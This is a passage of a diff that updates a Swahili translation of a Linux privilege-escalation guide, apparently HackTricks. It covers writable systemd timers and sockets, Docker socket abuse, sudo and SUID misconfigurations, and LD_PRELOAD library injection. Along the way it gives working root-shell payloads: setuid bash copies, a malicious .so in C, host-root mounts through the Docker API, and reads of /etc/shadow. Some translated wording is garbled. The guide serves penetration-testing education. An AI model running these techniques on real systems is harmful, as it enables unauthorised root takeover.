||||
Ikiwa unaweza kuhariri timer unaweza kufanya iendelee kutekeleza baadhi ya vitengo vya systemd (kama vile `.service` au `.target`) zilizopo.
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Katika hati ya maelezo unaweza kusoma ni nini Kitengo:
|
||||
|
||||
> Kitengo cha kuamsha wakati huu wa kengele unapopita. Hoja ni jina la kitengo, ambalo sio ".timer". Ikiwa haielezwi, thamani hii inabadilika kiotomatiki kuwa huduma ambayo ina jina sawa na kitengo cha timer, isipokuwa kwa kufikia. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachoamilishwa na jina la kitengo cha timer viitwe kwa jina moja, isipokuwa kwa kufikia.
|
||||
> Kitengo cha kuamsha wakati huu wa kengele unapopita. Hoja ni jina la kitengo, ambalo sifuri yake sio ".timer". Ikiwa haijatajwa, thamani hii inabadilika kiotomatiki kuwa huduma ambayo ina jina sawa na kitengo cha timer, isipokuwa kwa sifuri. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachoamilishwa na jina la kitengo cha timer viitwe kwa jina moja, isipokuwa kwa sifuri.
|
||||
|
||||
Kwa hivyo, ili kutumia ruhusa hii unahitaji:
|
||||
|
||||
* Pata kitengo cha systemd (kama `.service`) ambacho kina **utekelezaji wa binary inayoweza kuandikwa**
|
||||
* Pata kitengo cha systemd ambacho kina **utekelezaji wa njia ya kihesabu** na una **ruhusa za kuandika** juu ya **NJIA ya systemd** (kujifanya kuwa utekelezaji huo)
|
||||
* Kupata kitengo cha systemd (kama `.service`) ambacho kina **utekelezaji wa binary inayoweza kuandikwa**
|
||||
* Kupata kitengo cha systemd ambacho kina **utekelezaji wa njia ya kihesabu** na una **ruhusa za kuandika** juu ya **NJIA ya systemd** (kujifanya kuwa utekelezaji huo)
|
||||
|
||||
**Jifunze zaidi kuhusu muda na `man systemd.timer`.**
|
||||
|
||||
|
@ -469,28 +467,28 @@ Tafadhali kumbuka **timer** ina **anzishwa** kwa kuunda symlink kwake kwenye `/e
|
|||
|
||||
## Sockets
|
||||
|
||||
Unix Domain Sockets (UDS) inawezesha **mawasiliano ya mchakato** kwenye mashine sawa au tofauti ndani ya mifano ya mteja-seva. Hutumia faili za maelezo za Unix za kawaida kwa mawasiliano kati ya kompyuta na huanzishwa kupitia faili za `.socket`.
|
||||
Unix Domain Sockets (UDS) huwezesha **mawasiliano ya mchakato** kwenye mashine sawa au tofauti ndani ya mifano ya mteja-seva. Hutumia faili za maelezo za Unix za kawaida kwa mawasiliano kati ya kompyuta na huanzishwa kupitia faili za `.socket`.
|
||||
|
||||
Sockets zinaweza kusanidiwa kwa kutumia faili za `.socket`.
|
||||
|
||||
**Jifunze zaidi kuhusu sockets na `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kusanidiwa:
|
||||
|
||||
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguo hizi ni tofauti lakini muhtasari hutumiwa kuonyesha **mahali itakaposikiliza** soketi (njia ya faili ya soketi ya AF\_UNIX, anwani ya IPv4/6 na/au nambari ya bandari ya kusikiliza, n.k.)
|
||||
* `Accept`: Inachukua hoja ya boolean. Ikiwa ni **kweli**, kipengele cha **huduma kinazalishwa kwa kila uunganisho unaoingia** na soketi ya uunganisho pekee inapitishwa kwake. Ikiwa ni **uwongo**, soketi zote zinazosikiliza zenyewe zinapitishwa kwa kipengele cha huduma kilichoanzishwa, na kipengele kimoja cha huduma kinazalishwa kwa uunganisho wote. Thamani hii inapuuzwa kwa soketi za datagram na FIFO ambapo kipengele kimoja cha huduma kinashughulikia bila masharti trafiki yote inayoingia. **Ina thamani ya uwongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`.
|
||||
* `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambayo inatekelezwa **kabla** au **baada** ya soketi za kusikiliza/FIFOs kuundwa na kufungwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili kamili, kisha ikifuatiwa na hoja za mchakato.
|
||||
* `ExecStopPre`, `ExecStopPost`: **Amri za ziada** ambazo zinatekelezwa **kabla** au **baada** ya soketi za kusikiliza/FIFOs kufungwa na kuondolewa, mtawalia.
|
||||
* `Service`: Inabainisha jina la kipengele cha **huduma** cha **kuamilisha** kwenye **trafiki inayoingia**. Mipangilio hii inaruhusiwa tu kwa soketi zenye Accept=no. Kwa kawaida inarudi kwa huduma inayobeba jina sawa na soketi (na kubadilisha kikomo). Kwa kawaida, haitakuwa lazima kutumia chaguo hili.
|
||||
* `Accept`: Inachukua hoja ya boolean. Ikiwa ni **kweli**, kipengele cha **huduma kinazalishwa kwa kila uunganisho unaoingia** na soketi ya uunganisho pekee inapitishwa kwake. Ikiwa ni **uwongo**, soketi zote zinazosikiliza zenyewe zinapitishwa kwa kipengele cha huduma kilichoanzishwa, na kipengele kimoja cha huduma kinazalishwa kwa uunganisho wote. Thamani hii inapuuzwa kwa soketi za datagram na FIFO ambapo kipengele cha huduma kimoja kwa sharti kinashughulikia trafiki yote inayoingia. **Ina thamani ya uwongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`.
|
||||
* `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambayo inatekelezwa **kabla** au **baada** ya soketi za kusikiliza/FIFOs kuundwa na kufungwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili kamili, kisha ikifuatiwa na hoja kwa ajili ya mchakato.
|
||||
* `ExecStopPre`, `ExecStopPost`: **Amri** za ziada ambazo zinatekelezwa **kabla** au **baada** ya soketi za kusikiliza/FIFOs kufungwa na kuondolewa, mtawalia.
|
||||
* `Service`: Inabainisha jina la kipengele cha **huduma cha kuamilisha** kwenye **trafiki inayoingia**. Mipangilio hii inaruhusiwa tu kwa soketi zenye Accept=no. Kwa kawaida inarudi kwa huduma inayobeba jina sawa na soketi (na kiambishi kilichobadilishwa). Kwa kawaida, haitakuwa lazima kutumia chaguo hili.
|
||||
|
||||
### Faili za .socket zenye uwezo wa kuandikwa
|
||||
|
||||
Ikiwa unapata faili ya `.socket` inayoweza **kuandikwa**, unaweza **kuongeza** mwanzoni mwa sehemu ya `[Socket]` kitu kama: `ExecStartPre=/home/kali/sys/backdoor` na mlango wa nyuma utatekelezwa kabla ya soketi kuundwa. Kwa hivyo, **labda utahitaji kusubiri hadi mashine ibadilishwe.**\
|
||||
Ikiwa unapata faili ya `.socket` **inayoweza kuandikwa**, unaweza **kuongeza** mwanzoni mwa sehemu ya `[Socket]` kitu kama: `ExecStartPre=/home/kali/sys/backdoor` na mlango wa nyuma utatekelezwa kabla ya soketi kuundwa. Kwa hivyo, **labda utahitaji kusubiri hadi mashine ibadilishwe.**\
|
||||
_Tafadhali kumbuka kuwa mfumo lazima utumie usanidi wa faili ya soketi au mlango wa nyuma hautatekelezwa_
|
||||
|
||||
### Sockets zenye uwezo wa kuandikwa
|
||||
|
||||
Ikiwa **unatambua soketi inayoweza kuandikwa** (_sasa tunazungumzia juu ya Soketi za Unix na sio kuhusu faili za usanidi `.socket`_), basi **unaweza kuwasiliana** na soketi hiyo na labda kutumia udhaifu.
|
||||
Ikiwa **unatambua soketi inayoweza kuandikwa** (_sasa tunazungumzia kuhusu Sockets za Unix na sio kuhusu faili za usanidi za `.socket`_), basi **unaweza kuwasiliana** na soketi hiyo na labda kutumia udhaifu.
|
||||
|
||||
### Panga Soketi za Unix
|
||||
### Piga orodha ya Sockets za Unix
|
||||
```bash
|
||||
netstat -a -p --unix
|
||||
```
|
||||
|
@ -503,7 +501,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
|
|||
#apt-get install socat
|
||||
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
|
||||
```
|
||||
**Mfano wa Uchambuzi:**
|
||||
**Mfano wa Utekaji:**
|
||||
|
||||
{% content-ref url="socket-command-injection.md" %}
|
||||
[socket-command-injection.md](socket-command-injection.md)
|
||||
|
@ -511,17 +509,19 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
|
|||
|
||||
### Soketi za HTTP
|
||||
|
||||
Tafadhali elewa kwamba kunaweza kuwa na **soketi zinazosikiliza maombi ya HTTP** (_Sinaongelei faili za .socket bali faili zinazofanya kazi kama soketi za Unix_). Unaweza kuchunguza hili kwa kutumia:
|
||||
Tafadhali elewa kwamba kunaweza kuwa na **soketi zinazosikiliza maombi ya HTTP** (_Sisemi kuhusu faili za .socket bali faili zinazofanya kazi kama soketi za unix_). Unaweza kuchunguza hili kwa kutumia:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
Ikiwa soketi **inajibu ombi la HTTP**, basi unaweza **kuwasiliana** nayo na labda **kutumia udhaifu fulani**.
|
||||
### Soketi Inapojibu na ombi la HTTP
|
||||
|
||||
Ikiwa soketi **inajibu na ombi la HTTP**, basi unaweza **kuwasiliana** nayo na labda **kutumia udhaifu fulani**.
|
||||
|
||||
### Soketi ya Docker Inayoweza Kuandikwa
|
||||
|
||||
Soketi ya Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa chaguo-msingi, inaweza kuandikwa na mtumiaji wa `root` na wanachama wa kikundi cha `docker`. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha ongezeko la mamlaka. Hapa kuna maelezo ya jinsi hii inaweza kufanywa na njia mbadala ikiwa CLI ya Docker haipatikani.
|
||||
Soketi ya Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa chaguo-msingi, inaweza kuandikwa na mtumiaji wa `root` na wanachama wa kikundi cha `docker`. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha ongezeko la mamlaka. Hapa kuna maelezo ya jinsi hii inavyoweza kufanywa na njia mbadala ikiwa CLI ya Docker haipatikani.
|
||||
|
||||
#### **Ongezeko la Mamlaka na Docker CLI**
|
||||
#### **Ongezeko la Mamlaka kwa Kutumia CLI ya Docker**
|
||||
|
||||
Ikiwa una ufikiaji wa kuandika kwenye soketi ya Docker, unaweza kuongeza mamlaka kwa kutumia amri zifuatazo:
|
||||
```bash
|
||||
|
@ -539,7 +539,7 @@ Katika hali ambapo Docker CLI haipatikani, soketi ya Docker inaweza bado kuharir
|
|||
```bash
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
2. **Unda Kontena:** Tuma ombi la kuunda kontena ambayo inamnisha saraka kuu ya mfumo wa mwenyeji.
|
||||
2. **Unda Kontena:** Tuma ombi la kuunda kontena ambayo inamnasa saraka kuu ya mfumo wa mwenyeji.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
|
@ -564,17 +564,17 @@ Baada ya kuweka uhusiano wa `socat`, unaweza kutekeleza amri moja kwa moja ndani
|
|||
|
||||
### Mambo Mengine
|
||||
|
||||
Tafadhali kumbuka kwamba ikiwa una ruhusa ya kuandika juu ya soketi ya docker kwa sababu uko **ndani ya kikundi cha `docker`** una [**njia zaidi za kuongeza viwango vya ruhusa**](makundi-ya-kuvutia-linux-pe/#kikundi-cha-docker). Ikiwa [**API ya docker inasikiliza kwenye bandari** unaweza pia kuweza kuishambulia](../../network-services-pentesting/2375-pentesting-docker.md#kuambukiza).
|
||||
Tafadhali kumbuka kwamba ikiwa una ruhusa za kuandika juu ya soketi ya docker kwa sababu uko **ndani ya kikundi cha `docker`** una [**njia zaidi za kuongeza viwango vya ruhusa**](makundi-ya-kuvutia-linux-pe/#kikundi-cha-docker). Ikiwa [**API ya docker inasikiliza kwenye bandari** unaweza pia kuweza kuishambulia](../../network-services-pentesting/2375-pentesting-docker.md#kuambukiza).
|
||||
|
||||
Angalia **njia zaidi za kuvunja kutoka kwa docker au kuitumia kuongeza viwango vya ruhusa** katika:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
{% content-ref url="usalama-wa-docker/" %}
|
||||
[usalama-wa-docker](usalama-wa-docker/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kupandisha Viwango vya Ruhusa kwa Containerd (ctr)
|
||||
|
||||
Ikiwa unagundua kwamba unaweza kutumia amri ya **`ctr`** soma ukurasa ufuatao kwani **unaweza kuitumia kwa kuvunja kutoka na kupandisha viwango vya ruhusa**:
|
||||
Ikiwa unagundua unaweza kutumia amri ya **`ctr`** soma ukurasa ufuatao kwani **unaweza kuitumia kwa kufanya viwango vya ruhusa**:
|
||||
|
||||
{% content-ref url="containerd-ctr-privilege-escalation.md" %}
|
||||
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
|
||||
|
@ -582,7 +582,7 @@ Ikiwa unagundua kwamba unaweza kutumia amri ya **`ctr`** soma ukurasa ufuatao kw
|
|||
|
||||
## Kupandisha Viwango vya Ruhusa kwa **RunC**
|
||||
|
||||
Ikiwa unagundua kwamba unaweza kutumia amri ya **`runc`** soma ukurasa ufuatao kwani **unaweza kuitumia kwa kuvunja kutoka na kupandisha viwango vya ruhusa**:
|
||||
Ikiwa unagundua unaweza kutumia amri ya **`runc`** soma ukurasa ufuatao kwani **unaweza kuitumia kwa kufanya viwango vya ruhusa**:
|
||||
|
||||
{% content-ref url="runc-privilege-escalation.md" %}
|
||||
[runc-privilege-escalation.md](runc-privilege-escalation.md)
|
||||
|
@ -592,9 +592,9 @@ Ikiwa unagundua kwamba unaweza kutumia amri ya **`runc`** soma ukurasa ufuatao k
|
|||
|
||||
D-Bus ni **mfumo wa Mawasiliano kati ya Michakato (IPC)** wa kisasa ambao huruhusu programu kuingiliana na kushiriki data kwa ufanisi. Imetengenezwa kwa kuzingatia mfumo wa Linux wa kisasa, inatoa mfumo imara kwa aina tofauti za mawasiliano ya programu.
|
||||
|
||||
Mfumo huu ni mpana, ukisaidia IPC ya msingi ambayo inaboresha kubadilishana data kati ya michakato, ikikumbusha soketi za eneo la UNIX zilizoboreshwa. Zaidi ya hayo, inasaidia kutangaza matukio au ishara, ikisaidia ushirikiano laini kati ya sehemu za mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu ya kuingia inaweza kusababisha mpiga muziki kuzima sauti, ikiboresha uzoefu wa mtumiaji. Aidha, D-Bus inasaidia mfumo wa vitu vya mbali, ikisimplisha maombi ya huduma na mwaliko wa njia kati ya programu, ikipunguza mchakato ambao kihistoria ulikuwa mgumu.
|
||||
Mfumo huu ni mpana, ukisaidia IPC ya msingi ambayo inaboresha kubadilishana data kati ya michakato, ikikumbusha soketi za eneo la UNIX zilizoboreshwa. Zaidi ya hayo, inasaidia kutangaza matukio au ishara, ikiongeza ushirikiano laini kati ya sehemu za mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu ya kuingia inaweza kusababisha mpiga-muziki kuzima sauti, ikiboresha uzoefu wa mtumiaji. Aidha, D-Bus inasaidia mfumo wa vitu vya mbali, ikisimplisha maombi ya huduma na mwaliko wa njia kati ya programu, ikipunguza michakato ambayo kihistoria ilikuwa ngumu.
|
||||
|
||||
D-Bus inafanya kazi kwa mfano wa **ruhusa/zuia**, ikisimamia ruhusa za ujumbe (wito wa njia, kutuma ishara, n.k.) kulingana na athari jumla ya sheria za sera zinazolingana. Sera hizi hufafanua mwingiliano na basi, ikiruhusu kwa kupandisha viwango vya ruhusa kupitia unyanyasaji wa ruhusa hizi.
|
||||
D-Bus inafanya kazi kwa mfano wa **ruhusa/zuia**, ikisimamia ruhusa za ujumbe (wito wa njia, kutuma ishara, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi hufafanua mwingiliano na basi, ikiruhusu kwa uwezekano wa kupandisha viwango vya ruhusa kupitia unyanyasaji wa ruhusa hizi.
|
||||
|
||||
Mfano wa sera kama hiyo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` unatolewa, ukielezea ruhusa kwa mtumiaji wa mizizi kumiliki, kutuma kwa, na kupokea ujumbe kutoka kwa `fi.w1.wpa_supplicant1`.
|
||||
|
||||
|
@ -617,7 +617,7 @@ Sera bila mtumiaji au kikundi kilichotajwa inatumika kwa kila mtu, wakati sera z
|
|||
|
||||
Ni vyema siku zote kuhesabu mtandao na kugundua mahali pa mashine.
|
||||
|
||||
### Uhesabuaji wa Kawaida
|
||||
### Uhesabuaji wa kawaida
|
||||
```bash
|
||||
#Hostname, hosts and DNS
|
||||
cat /etc/hostname /etc/hosts /etc/resolv.conf
|
||||
|
@ -642,14 +642,14 @@ lsof -i
|
|||
```
|
||||
### Vioja vya wazi
|
||||
|
||||
Daima hakikisha huduma za mtandao zinazoendesha kwenye mashine ambazo haukuweza kuzungumza nazo kabla ya kufikia:
|
||||
Daima hakikisha huduma za mtandao zinazoendesha kwenye mashine ambazo haukuweza kuzungumza nazo kabla ya kuzifikia:
|
||||
```bash
|
||||
(netstat -punta || ss --ntpu)
|
||||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
```
|
||||
### Kuchunguza
|
||||
|
||||
Angalia kama unaweza kuchunguza trafiki. Ukifanikiwa, unaweza kupata baadhi ya siri za kuingia.
|
||||
Angalia kama unaweza kuchunguza trafiki. Ikiwa unaweza, unaweza kupata baadhi ya siri.
|
||||
```
|
||||
timeout 1 tcpdump
|
||||
```
|
||||
|
@ -657,7 +657,7 @@ timeout 1 tcpdump
|
|||
|
||||
### Uchambuzi wa Kawaida
|
||||
|
||||
Angalia **wewe ni nani**, una **madaraka** gani, ni **watumiaji** gani wako kwenye mifumo, ni yupi anaweza **kuingia** na yupi ana **madaraka ya root:**
|
||||
Angalia **wewe ni nani**, ni **madaraka** gani unayo, ni **watumiaji** gani wako kwenye mifumo, ni yupi anaweza **kuingia** na yupi ana **madaraka ya root:**
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
|
@ -689,12 +689,12 @@ Baadhi ya toleo za Linux ziliathiriwa na mdudu ambao huruhusu watumiaji wenye **
|
|||
Angalia kama wewe ni **mwanachama wa kikundi fulani** ambacho kinaweza kukupa mamlaka ya mzizi:
|
||||
|
||||
{% content-ref url="interesting-groups-linux-pe/" %}
|
||||
[interesting-groups-linux-pe](interesting-groups-linux-pe/)
|
||||
[interesting-groups-linux-pe/](interesting-groups-linux-pe/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ubao wa Kukata na Kuweka
|
||||
### Ubao wa Kuchorea
|
||||
|
||||
Angalia kama kuna kitu cha kuvutia kilichopo ndani ya ubao wa kukata na kuweka (ikiwezekana)
|
||||
Angalia kama kuna kitu cha kuvutia kilichopo ndani ya ubao wa kuchorea (ikiwezekana)
|
||||
```bash
|
||||
if [ `which xclip 2>/dev/null` ]; then
|
||||
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
|
||||
|
@ -715,7 +715,7 @@ Ikiwa **unajua nywila yoyote** ya mazingira **jaribu kuingia kama kila mtumiaji*
|
|||
|
||||
### Su Brute
|
||||
|
||||
Ikiwa haujalali kufanya kelele nyingi na `su` na `timeout` binaries zipo kwenye kompyuta, unaweza kujaribu kuvunja nguvu mtumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Ikiwa haujali kufanya kelele nyingi na `su` na `timeout` binaries zipo kwenye kompyuta, unaweza kujaribu kuvunja nguvu mtumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) na parameter `-a` pia jaribu kuvunja nguvu watumiaji.
|
||||
|
||||
## Mabaya ya PATH yanayoweza Kuandikwa
|
||||
|
@ -740,9 +740,9 @@ sudo tar c a.tar -I ./runme.sh a
|
|||
ftp>!/bin/sh
|
||||
less>! <shell_comand>
|
||||
```
|
||||
### NOPASSWD
|
||||
### BILA NENO LA SIRI
|
||||
|
||||
Mpangilio wa Sudo unaweza kuruhusu mtumiaji kutekeleza amri fulani kwa mamlaka ya mtumiaji mwingine bila kujua nenosiri.
|
||||
Mpangilio wa Sudo unaweza kuruhusu mtumiaji kutekeleza amri fulani kwa mamlaka ya mtumiaji mwingine bila kujua neno la siri.
|
||||
```
|
||||
$ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
|
@ -764,9 +764,9 @@ Mfano huu, **ukitegemea kwenye mashine ya HTB Admirer**, ulikuwa **dhaifu** kwa
|
|||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Kupita utekelezaji wa Sudo bila kufuata njia
|
||||
### Kupita kwa utekelezaji wa Sudo bila kufuata njia
|
||||
|
||||
**Ruka** ili kusoma faili nyingine au tumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Ruka** ili kusoma faili zingine au kutumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
|
@ -781,39 +781,39 @@ Ikiwa **wildcard** inatumika (\*), ni rahisi zaidi:
|
|||
sudo less /var/log/../../etc/shadow #Read shadow
|
||||
sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
```
|
||||
**Hatua za Kukabiliana**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||
**Mbinu za Kukabiliana**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||
|
||||
### Amri ya Sudo/Binary ya SUID bila njia ya amri
|
||||
|
||||
Ikiwa **ruhusa ya sudo** imetolewa kwa amri moja **bila kufafanua njia**: _hacker10 ALL= (root) less_ unaweza kutumia hilo kwa kubadilisha variable ya PATH
|
||||
Ikiwa **ruhusa ya sudo** imetolewa kwa amri moja **bila kutoa njia**: _hacker10 ALL= (root) less_ unaweza kutumia udhaifu huo kwa kubadilisha variable ya PATH.
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Teknolojia hii inaweza kutumika pia ikiwa **suid** binary **inaendesha amri nyingine bila kutoa njia ya kuipata (hakikisha daima na** _**strings**_ **maudhui ya binary ya SUID isiyoeleweka)**.
|
||||
Tekniki hii inaweza kutumika pia ikiwa **suid** binary **inaendesha amri nyingine bila kutaja njia ya kuipata (hakikisha kila wakati na** _**strings**_ **maudhui ya suid binary ya ajabu)**.
|
||||
|
||||
[Mifano ya mzigo wa kutekeleza.](payloads-to-execute.md)
|
||||
|
||||
### Binary ya SUID na njia ya amri
|
||||
### Suid binary na njia ya amri
|
||||
|
||||
Ikiwa **binary ya suid** **inaendesha amri nyingine ikitoa njia**, basi, unaweza kujaribu **kutumia kazi** iliyoitwa kama amri ambayo faili ya suid inaita.
|
||||
Ikiwa **suid** binary **inaendesha amri nyingine ikieleza njia**, basi, unaweza **jaribu kuuza kazi** iliyoitwa kama amri ambayo faili ya suid inaita.
|
||||
|
||||
Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi na kuiegesha:
|
||||
Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi na kuiekeza:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
```
|
||||
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
|
||||
|
||||
Mazingira ya **LD\_PRELOAD** hutumika kutaja maktaba moja au zaidi za pamoja (.so files) zitakazopakiwa na loader kabla ya zingine zote, ikiwa ni pamoja na maktaba ya C ya kawaida (`libc.so`). Mchakato huu unajulikana kama kupakia maktaba kabla.
|
||||
Mazingira ya **LD\_PRELOAD** hutumika kutaja maktaba moja au zaidi za pamoja (.so files) zitakazopakiwa na loader kabla ya zingine zote, ikiwa ni pamoja na maktaba ya C ya kawaida (`libc.so`). Mchakato huu unajulikana kama kuchakata maktaba kabla.
|
||||
|
||||
Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kuchukuliwa faida, hasa na utekelezaji wa **suid/sgid** executables, mfumo unatekeleza masharti fulani:
|
||||
|
||||
- Loader hupuuza **LD\_PRELOAD** kwa executables ambapo kitambulisho halisi cha mtumiaji (_ruid_) halingani na kitambulisho cha mtumiaji kilichopo (_euid_).
|
||||
- Kwa executables zenye suid/sgid, maktaba zinazopakiwa ni zile zilizo kwenye njia za kawaida ambazo pia ni suid/sgid.
|
||||
* Loader hupuuza **LD\_PRELOAD** kwa executables ambapo kitambulisho halisi cha mtumiaji (_ruid_) halingani na kitambulisho cha mtumiaji kilichopo (_euid_).
|
||||
* Kwa executables zenye suid/sgid, maktaba zinazopakiwa ni zile zilizo kwenye njia za kawaida ambazo pia ni suid/sgid.
|
||||
|
||||
Kupandisha hadhi ya mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha kauli **env\_keep+=LD\_PRELOAD**. Mipangilio hii inaruhusu mazingira ya **LD\_PRELOAD** kudumu na kutambuliwa hata wakati amri zinatekelezwa kwa kutumia `sudo`, hivyo kuweza kusababisha utekelezaji wa nambari ya aina yoyote na mamlaka yaliyopandishwa.
|
||||
Kupandisha hadhi ya mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha kauli **env\_keep+=LD\_PRELOAD**. Usanidi huu huruhusu mazingira ya **LD\_PRELOAD** kudumu na kutambuliwa hata wakati amri zinatekelezwa kwa kutumia `sudo`, hivyo kuweza kusababisha utekelezaji wa nambari ya aina yoyote na mamlaka zilizoinuliwa.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
|
@ -830,12 +830,12 @@ setuid(0);
|
|||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Kisha **sakinisha** kwa kutumia:
|
||||
Kisha **sakinisha** kutumia:
|
||||
```bash
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Hatimaye, **ongeza mamlaka** kukimbia
|
||||
Hatimaye, **ongeza mamlaka** ikikimbia
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
|
@ -863,13 +863,13 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
|||
```
|
||||
### Binary ya SUID - Uingizaji wa .so
|
||||
|
||||
Uponapo kukutana na binary yenye ruhusa ya **SUID** ambayo inaonekana isiyo ya kawaida, ni mazoezi mazuri kuhakikisha kama inapakia faili za **.so** ipasavyo. Hii inaweza kuthibitishwa kwa kukimbia amri ifuatayo:
|
||||
Upon kupata binary yenye ruhusa za **SUID** ambayo inaonekana isiyo ya kawaida, ni mazoezi mazuri kuhakikisha kama inapakia faili za **.so** ipasavyo. Hii inaweza kuthibitishwa kwa kukimbia amri ifuatayo:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (Hakuna faili au saraka kama hiyo)"_ inaashiria uwezekano wa kutumia.
|
||||
Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (Hakuna faili au saraka kama hiyo)"_ inaashiria uwezekano wa kutumia mwanya huo.
|
||||
|
||||
Kutumia hili, mtu anaweza kuendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao:
|
||||
Kutumia hili, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -880,15 +880,13 @@ void inject(){
|
|||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
}
|
||||
```
|
||||
Msimbo huu, mara baada ya kuchakatwa na kutekelezwa, lengo lake ni kukuza mamlaka kwa kubadilisha ruhusa za faili na kutekeleza kifaa na mamlaka yaliyopandishwa.
|
||||
Msimbo huu, mara baada ya kuchakatwa na kutekelezwa, unalenga kuinua mamlaka kwa kubadilisha ruhusa za faili na kutekeleza kifaa na mamlaka yaliyoinuliwa.
|
||||
|
||||
Chakata faili ya C hapo juu kuwa faili ya kitu kilichoshirikishwa (.so) kwa:
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
